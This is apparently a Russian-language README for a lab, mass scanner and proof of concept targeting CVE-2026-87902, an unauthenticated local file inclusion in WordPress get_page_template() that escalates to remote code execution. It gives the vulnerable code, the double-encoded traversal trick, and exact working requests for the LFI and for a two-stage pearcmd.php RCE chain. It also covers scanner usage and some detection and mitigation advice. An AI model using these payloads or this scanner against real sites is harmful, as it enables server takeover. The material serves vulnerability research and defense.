Лаборатория для воспроизведения + сканер по списку URL + PoC для CVE-2026-87902 / GHSA-7hp8-65ch-5whp — неаутентифицированный LFI в WordPress get_page_template() с переходом к условному RCE (WP 4.7.0-7.1.1, исправлено в 7.1.2). Авторизованное/защитное тестирование.
get_page_template() → условный RCEЛаборатория для воспроизведения + сканер списка URL + PoC, собранные и проверенные end-to-end на подлинных WordPress 7.1.1 (уязвимая) и 7.1.2 (исправленная) в Docker-лаборатории.
include/require (обход пути → локальное включение PHP)AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H)page-* (например, — присутствует в Twenty Twelve, Twenty Fourteen, Neve, Hestia, Sydney); (2) только для RCE: доступный для чтения и .page-templates/pearcmd.phpregister_argc_argv=Onwp-includes/template.php :: get_page_template() формирует кандидата шаблона из
контролируемой атакующим query-переменной pagename без validate_file():
// WordPress 7.1.1 (VULNERABLE)
if ( $pagename ) {
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) { // <-- no validate_file()
$templates[] = "page-{$pagename_decoded}.php";
}
$templates[] = "page-{$pagename}.php";
}
// WordPress 7.1.2 (PATCHED) — the guard the sibling $template branch already had, + realpath containment
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
$templates[] = "page-{$pagename_decoded}.php";
}
// plus new _wp_is_template_path_allowed() enforcing the resolved path stays inside a theme root
Затем locate_template() выполняет file_exists($theme_dir . '/' . $candidate) и include для найденного.
Поскольку кандидат имеет вид page-{...}.php, полезная нагрузка должна продолжать реальный каталог темы,
начинающийся с page- (например, page-templates/), а затем выйти наружу через ../ к любому читаемому .php.
Двойное кодирование обязательно. get_query_var('pagename') уже однократно декодируется PHP, поэтому
обычный ../ приводит к urldecode($pagename) === $pagename, и уязвимая ветка пропускается.
Дважды закодированный %252e%252e%252f переживает первое декодирование как %2e%2e%2f и превращается в ../
только дополнительным urldecode() — в этом и заключается баг.
lab/)Подлинные релизы рядом друг с другом на Docker-хосте, отличающиеся только исправлением безопасности:
| Сервис | URL (только loopback) | WordPress | Роль |
|---|---|---|---|
wp-vuln | http://127.0.0.1:8091 | 7.1.1 | уязвимый |
wp-patched | http://127.0.0.1:8092 | 7.1.2 | исправленный контроль |
db | — | MySQL 8.4 | общий (две базы данных) |
Базовый образ wordpress:php8.3-apache (в котором уже есть pearcmd.php и register_argc_argv=On),
с заменой встроенного ядра на подлинные wordpress-7.1.1.zip / 7.1.2.zip. Активирована Twenty Fourteen
(реальный page-templates/), а также создан фикстур page-templates/ в активной теме.
ID опубликованной страницы = 2 (Sample Page).
# on the docker lab host
cd /tmp/cve-2026-87902-lab
./up.sh # build + install both instances (idempotent)
./down.sh # tear down + remove volumes
Порты привязаны только к 127.0.0.1 — уязвимый экземпляр никогда не доступен по сети.
poc/cve-2026-87902-scan.py)Python 3, только stdlib (без pip install). Принимает список URL и сообщает, какие из них
уязвимы. Сканирование по умолчанию недеструктивное: оно включает файл ядра только для чтения
wp-links-opml.php и ищет получившийся OPML-документ — доказательство того, что включение произвольного
.php сработало, без записи и без изменения состояния.
# single URL
./cve-2026-87902-scan.py http://target/
# a list of your assets, JSON report, 20 workers
./cve-2026-87902-scan.py -f urls.txt --threads 20 --json report.json
# from stdin, only show vulnerable/possibly rows
cat urls.txt | ./cve-2026-87902-scan.py --stdin -q
<generator> → wp-links-opml.php →
readme.html → /wp-includes/ asset ?ver=)./wp/v2/pages, fallback ?rest_route=, главная
page-id-N, по умолчанию page_id=2) — нужно, чтобы запрос разрешился в Page и выполнился get_page_template().segment × depth (по умолчанию segment templates, глубины 4,3,5,6,7) отправляем
page_id=<id>&pagename=<double-encoded ../ → wp-links-opml> (POST, чтобы обойти канонический редирект) и
требуем HTTP 200 с <opml version="1.0"> + структурный вторичный маркер
(</opml> / <outline / <dateCreated>)..php. Если OPML всё ещё появляется, значит OPML фоновый (прокси / кэш / feed
app), а не наше включение → понижается до POSSIBLY. Только попадание с чистым контролем — это VULNERABLE.Устойчивость: сохраняет пути подкаталогов (http://host/blog), обрабатывает gzip/deflate и нестандартные кодировки,
повторяет пробу один раз при ошибке транспорта, обнаруживает/валидирует ID страниц (REST → ?rest_route= → главная
→ значения по умолчанию), соблюдает бюджет времени на цель и никогда не утверждает NOT_VULNERABLE при
низконадёжном источнике версии (asset ?ver= / readme.html) — такие случаи понижаются до POSSIBLY.
| Вердикт | Значение |
|---|---|
VULNERABLE | OPML-оракул сработал — LFI подтверждён (окончательно) |
NOT_VULNERABLE | версия исправленной ветки, или версия вне 4.7.0–7.1.1 |
POSSIBLY_VULNERABLE | уязвимая/неизвестная версия, но оракул молчит (вероятно, нет каталога темы page-*, нестандартная структура или нет обнаруживаемого ID страницы) — проверьте вручную |
NOT_WORDPRESS / ERROR | нет индикаторов WP / сбой транспорта |
Код выхода: 2 если есть VULNERABLE, 1 если есть POSSIBLY (и нет VULNERABLE), иначе 0.
Полезные флаги: --segments, --depths, --method {POST,GET,both}, --page-id, --max-pageids,
--max-time (бюджет на цель), --timeout, --threads, --proxy, --header, --insecure
(TLS off — только для разработки), --json, --jsonl. Для установки WordPress в подкаталоге передайте полный
базовый адрес (например, https://host/blog); для Bedrock/core-in-wp/ сканирование также пробует цели оракула
с префиксом wp/.
./cve-2026-87902-scan.py http://target/ --verify-rce --i-have-authorization --page-id 2
Запускает цепочку PEAR pearcmd.php: строка запроса, разделённая +, несёт argv config-create, который записывает
маркерный .php без кавычек в /tmp; второй запрос включает его. Выводит выполненный маркер +
php_uname() + uid. Записывает файл на цели → только для одной цели, требует --i-have-authorization,
по умолчанию выключено.
evidence/)| Файл | Что доказывает |
|---|---|
manual-validate.sh / ev-lfi.log | OPML-оракул срабатывает на 7.1.1 (глубина 4, POST и GET), молчит на 7.1.2; работает только глубина 4; однократное кодирование не работает |
rce-validate.sh / ev-rce.log | полный PEAR RCE на 7.1.1 (uid=33 как www-data, глубина 7); исправленная версия не пишет файл, ничего не выполняет |
ev-scan-table.log / ev-scan-results.json | сканер по {vuln, patched, non-WP, dead}: VULNERABLE / NOT_VULNERABLE / NOT_WORDPRESS / ERROR |
Доказанные формы запросов:
LFI (detection, non-destructive):
POST /?page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-links-opml
-> 200 with <opml version="1.0"> in the body (depth 4 = webroot on /var/www/html)
RCE (conditional; register_argc_argv=On + readable pearcmd.php):
Stage 1 POST /?+config-create+/<?=...chr()-built payload...?>+/tmp/x.php
body: page_id=2&pagename=templates%252f(%252e%252e%252f x7)usr%252flocal%252flib%252fphp%252fpearcmd
Stage 2 POST /?page_id=2&pagename=templates%252f(%252e%252e%252f x7)tmp%252fx
-> body contains the executed marker + php_uname() + uid=33
register_argc_argv=Off для web SAPI и удалите/запретите pearcmd.php;
это устраняет эскалацию до RCE, даже если LFI достижим.pagename, содержащий ..; совместное появление page_id + pagename, начинающегося с templates%252f /
содержащего %252e%252e, в корне сайта или /index.php — почти верный признак эксплуатации.Только авторизованное тестирование безопасности, обучение и защитные исследования.